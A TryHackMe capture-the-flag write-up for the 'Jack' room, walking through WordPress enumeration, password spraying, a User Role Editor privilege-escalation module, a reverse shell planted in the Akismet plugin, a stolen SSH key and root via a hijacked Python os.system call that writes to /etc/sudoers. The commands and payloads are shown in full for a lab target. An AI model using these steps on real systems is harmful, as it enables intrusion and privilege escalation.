This is a writeup for Jack on TryHackMe
The basics
Just like with other CTFs of this nature, you'll need: One (or more) VPNs, a computer, and a keyboard. Or a voice recognition software. Although, I don't really recommend the latter one.
But aside of that, there are some additional things that you'll need for this challenge: Metasploit (if you don't have it already, you can download it on https://www.metasploit.com/) and Python.
Okay! Let's do some hacking!
Oh, and a disclaimer: Just like always, the easy answers are disclosed, but the answers where you need to put some effort into it, are redacted. With that said, I wish you happy hacking!
Tasks
#1 What is the user flag?
Since there are only two tasks, we need to split them apart, since for both there's quote a journey to get to for either of them.
1.a) Enumerate all the things!
Breaking out our trusty nmap, we get expected results for a webserver: Opened port 80 and 22; so SSH and HTTP ports.
$ nmap -sC -sV -oN nmap/initial jack.thm
gives us
Nmap scan report for jack.thm (<ip>) Host is up (0.061s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-generator: WordPress 5.3.2 | http-robots.txt: 1 disallowed entry |_/wp-admin/ |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Jack's Personal Site – Blog for Jacks writing adven... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Right. There's a Wordpress running on the server, which will likely be our entry point, although neither SSH nor Wordpress gives us any authentication bypass exploits given their respective versions. So, what's next?
1.b) Enumerate even more things!
As said before, the most likely entry point would be through Wordpress, so we employ a tool called wpscan. This tool is built specifically for Wordpress, so you won't need to fiddle with Hydra or something alike. If you don't have it, you can download it here: https://github.com/wpscanteam/wpscan, but if you're rocking a pentesting distro like Kali or Parrot, you should already have it installed. If not, a quick apt install wpscan should resolve that.
Since the site is dedicated to Jack, we assume one of the users is jack, and a dummy entry into wp-admin says it is so. Although, there may be more of them. And
$ wpscan --url jack.thm --enumerate u
confirms that with
jack | Found By: Rss Generator (Passive Detection) | Confirmed By: | Wp Json Api (Aggressive Detection) | - http://jack.thm/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [redacted] | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [redacted] | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)
Okay. We have usernames which we cram into users.txt, and go after their passwords with:
$ wpscan --url jack.thm -t 3 -P /opt/rockyou.txt -U users.txt
Aaaaand... nothing. Nada. Zilch. Zip. Squat. I waited for wpscan to get to 100,000th entry before I called it. If you were someone that's been chasing THM's flags, you'd realize that some rooms like to hide their passwords pretty deep in the rockyou's list, but not this deep. Time for something else. Fortunately, there's a few more lists (at least on Kali):
$ ls -al /usr/share/wordlists/ total 136660 drwxr-xr-x 2 root root 4096 Jun 10 16:58 . drwxr-xr-x 403 root root 12288 Sep 21 18:06 .. lrwxrwxrwx 1 root root 25 May 25 00:34 dirb -> /usr/share/dirb/wordlists lrwxrwxrwx 1 root root 30 May 25 00:34 dirbuster -> /usr/share/dirbuster/wordlists lrwxrwxrwx 1 root root 35 May 25 00:34 dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt lrwxrwxrwx 1 root root 41 May 25 00:34 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt lrwxrwxrwx 1 root root 45 May 25 00:34 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists lrwxrwxrwx 1 root root 46 May 25 00:34 metasploit -> /usr/share/metasploit-framework/data/wordlists lrwxrwxrwx 1 root root 41 May 25 00:34 nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst -rw-r--r-- 1 root root 139921507 Jul 17 2019 rockyou.txt lrwxrwxrwx 1 root root 19 May 25 00:34 seclists -> /usr/share/seclists lrwxrwxrwx 1 root root 25 May 25 00:34 wfuzz -> /usr/share/wfuzz/wordlist
And a quick
$ wc -l /usr/share/wordlists/* 2>/dev/null
gives us
17576 /usr/share/wordlists/dnsmap.txt 222 /usr/share/wordlists/fasttrack.txt 5084 /usr/share/wordlists/nmap.lst 14344392 /usr/share/wordlists/rockyou.txt
So, let's use the smallest list and then move towards the bigger ones if necessary...
$ wpscan --url jack.thm -t 3 -P /usr/share/wordlists/fasttrack.txt -U users.txt
Aaaand--
[+] Performing password attack on Xmlrpc against 3 user/s [SUCCESS] - [redacted] / [redacted] Trying jack / starwars Time: 00:00:34 <======================= > (645 / 867) 74.39% ETA: ??:??:?? [!] Valid Combinations Found: | Username: [redacted], Password: [redacted] ?
Yes! We're in!
Okay, now... As we log in, we quickly realize that we can't do anything. Everything we can do has to be confirmed by Jack. Sounds like a dead end. Although, it may not be. The hint on the site reveals us there's something else we can poke: Wordpress plugins.
However, googling the provided hint gives us the answer on a silver platter, and there's no fun in that. Instead, we go even further:
1.c) Enumerating madness!
Just when we thought we can't enumerate more things, we proceed to enumerate even more things, this time our focus is (as mentioned before) on Wordpress plugins.
Let's look for vulnerable plugins first:
$ wpscan --url 10.10.184.85 -t 10 -e vp --plugins-detection aggressive [+] Enumerating Vulnerable Plugins (via Aggressive Methods) Checking Known Locations - Time: 00:00:34 <=======================> (2373 / 2373) 100.00% Time: 00:00:34 [+] Checking Plugin Versions (via Passive and Aggressive Methods) [i] No plugins Found.
Nothing. That's not going to cut it. Let's enumerate everything:
$ wpscan --url jack.thm -t 10 -e ap --plugins-detection aggressive [+] Enumerating All Plugins (via Aggressive Methods) Checking Known Locations - Time: 01:55:41 <==================> (89001 / 89001) 100.00% Time: 01:55:41 [+] Checking Plugin Versions (via Passive and Aggressive Methods) [i] Plugin(s) Identified: [+] akismet | Version: 3.1.7 (100% confidence) [+] user-role-editor | Location: http://jack.thm/wp-content/plugins/user-role-editor/ | Last Updated: 2020-09-06T02:49:00.000Z | Readme: http://jack.thm/wp-content/plugins/user-role-editor/readme.txt | [!] The version is out of date, the latest version is 4.56.1 | | Version: 4.24 (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://jack.thm/wp-content/plugins/user-role-editor/readme.txt
Aha! Here we go! Let's see if there's anything useful in the --
$ searchsploit user role editor -------------------------------------------------------------------------- --------------------------------- Exploit Title | Path -------------------------------------------------------------------------- --------------------------------- WordPress Plugin User Role Editor 3.12 - Cross-Site Request Forgery | php/webapps/25721.txt WordPress Plugin User Role Editor < 4.25 - Privilege Escalation | php/webapps/44595.rb -------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
Nice. There's an exploit listed AND it's a Metasploit module. Double nice. We copy the file, insert the necessary information, and...
msf5 auxiliary(unix/webapp/ure_exploit) > exploit [*] Running module against <ip> [*] <ip>:80 - WordPress - Authentication - [redacted]:[redacted] [+] <ip>:80 - WordPress - Authentication - OK [*] <ip>:80 - WordPress - Getting data - /wp-admin/profile.php [+] <ip>:80 - WordPress - Getting data - _wpnonce [+] <ip>:80 - WordPress - Getting data - color-nonce [+] <ip>:80 - WordPress - Getting data - checkuser_id [+] <ip>:80 - WordPress - Getting data - nickname [+] <ip>:80 - WordPress - Getting data - display_name [-] Auxiliary aborted due to failure: <ip>:80 - WordPress - Getting data - Failed (email): [*] Auxiliary module execution completed
Hey, what gives?
After inspecting the module and the profile portion of Wordpress, I saw there's a discrepancy between Wordpress (newer version?) and the Metasploit module, namely:
aria-describedby="email-description"
missing in the Metasplit module. We quickly edit the module with
msf5 auxiliary(unix/webapp/ure_exploit) > edit
navigate to
email = check_response(res, "email", /name=\"email\" id=\"email\" value=\"(.+?(?=\"))\"/)
and replace it with
email = check_response(res, "email", /name=\"email\" id=\"email\" aria-describedby=\"email-description\" value=\"(.+?(?=\"))\"/)
rerun the module again, and -- success! In wordpress we now have the same privileges as Jack. We could fiddle around with Jack's stuff, but that's not why we are here.
1.d) Plugins, shells, and reverse shells
With administration-level rights, we can modify a 404 file template or something in that direction, and -- Nothing. Seems like the file isn't writable by www-data. So... What else is there? We can't make a post with a PHP code or anything either. Okay. Time for a different approach. Since the wpscan told us there are other plugins on the site aside of URE, we can look into those.
There's some brief explanation on how the Wordpress' plugin editor works here: https://www.wpbeginner.com/glossary/plugin-editor/ .
With that, we navigate to the first plug in, hit 'save', and -- Success! We can save a PHP file. So, where do we go from there?
Reverse shell, of course! Aksimet is the first plugin on the list, so we pick it for the deployment of the shell. Just throw in a little bit of code, and you'll be good to go. (Although, do keep in mind that you can't save activated plugin. Deactivate the plugin first, do your magic with it, save, and then reactivate it.)
if ( is_admin() ) { exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker ip here>/8888 0>&1'"); return; require_once( AKISMET__PLUGIN_DIR . 'class.akismet-admin.php' ); add_action( 'init', array( 'Akismet_Admin', 'init' ) ); }
and with
nc -nvl 8888
running on our side, as we activate the plugin, we gain our access! (8888 is just my port of choice)
1.e) Flags and permissions
With shell access, we can move around. First choice would be to peer into /home/jack and see if there's a flag waiting for us:
$ ls /home/jack reminder.txt user.txt
Reminder?
$ cat reminder.txt Please read the memo on linux file permissions, last time your backups almost got us hacked! Jack will hear about this when he gets back.
Backups, huh? That sounds like an interesting place to visit. So we navigate to /var/backups and --
$ cd /var/backups $ ls -al -rwxrwxrwx 1 root root 1675 Jan 10 2020 id_rsa
Nice. We can just cat the private key and attempt to log in as Jack. Success!
And while we're at it, we can simply grab the user flag, which is:
$ cat user.txt [redacted]
Whew! That was quite a bit of work, but we're not done yet.
#2 What is the root flag?
To get to this we have to dig even deeper.
2.a) Who we are and where do we belong?
A quick
$ id
gives us
uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),30(dip),46(plugdev),115(lpadmin),116(sambashare),1001(family)
By being in the 'adm' group we get access to some logs, group plugdev could give us some kind of access through the plugdev, but after quite a bit of searching, I found nothing of interest. That leaves us with the group 1001 - family. Let's see if there's anything interesting that belongs to that group:
jack@jack:/$ find . -group family 2>/dev/null ./usr/lib/python2.7/_threading_local.py ./usr/lib/python2.7/HTMLParser.py ./usr/lib/python2.7/wave.py ./usr/lib/python2.7/linecache.py ./usr/lib/python2.7/sysconfig.py [...] ./usr/lib/python2.7/asynchat.pyc ./usr/lib/python2.7/HTMLParser.pyc [...] ./usr/lib/python2.7/wsgiref.egg-info
Entire Python library?!? Wait a minute... But even so... How do we exploit this? There has to be something that's running as root that's worth investigating... although, ps ax reveals nothing. HOWEVER --
2.b) A quick peek at the logs
We belong in the 'adm' group, right? Let's see if we have access to some interesting logs...
jack@jack:/var/log$ ls -al drwxr-x--- 2 root adm 4096 Jan 9 2020 apache2 -rw-r----- 1 syslog adm 58247 Sep 26 08:12 auth.log -rw-r----- 1 root adm 31 Feb 26 2019 dmesg -rw-r----- 1 syslog adm 345459 Sep 26 07:47 kern.log drwxr-s--- 2 mysql adm 4096 Jan 9 2020 mysql -rw-r----- 1 syslog adm 366116 Sep 26 08:12 syslog -rw-r----- 1 syslog adm 175404 Jan 10 2020 syslog.1
Given the auth.log gives us nothing as well as kern.log, we look at syslog and --
jack CRON[1792]: (root) CMD (/usr/bin/python /opt/statuscheck/checker.py)
Hm. A possible entry point?
2.c) Exploring and exploiting Python modules
So we have our CRON runner and application that's executed as root. Good. With a quick
$ cat /opt/statuscheck/checker.py
we get
import os os.system("/usr/bin/curl -s -I http://127.0.0.1 >> /opt/statuscheck/output.log")
As the description of the box said we need to use Python module to get the root privileges, we now know which one is that: os. We are simply going to replace the low-level system call with an alternative: subprocess.call. Like this:
jack@jack:~$ vim /usr/lib/python2.7/os.py
Add
def system(smt): import subprocess subprocess.call("printf '\njack ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers ", shell = True)
This will replace the system's system() call
Wait for 2 minutes for CRON to fire again, and --
jack@jack:~$ sudo su - root@jack:~# cat root.txt [redacted]
Yes! We got our flag, we got our badge, and our hacking skill had been increased by 1.
# Afterthoughts
As hard as the level was, it took me way longer than it should. There are quite a few things that lead me down the wild-goose chase, like an old version of Python and even the version of Wordpress. Although the biggest time sink (at least for me) was not using the rockyou file. Which was super sneaky. Additionally, after I finished the room, I went to check if the used password is even inside of rockyou, and surprisingly enough -- isn't.
It was challenging, but nice. Maybe more on the 'intermediate' side than on the 'hard' one, given the hints.
-- by7e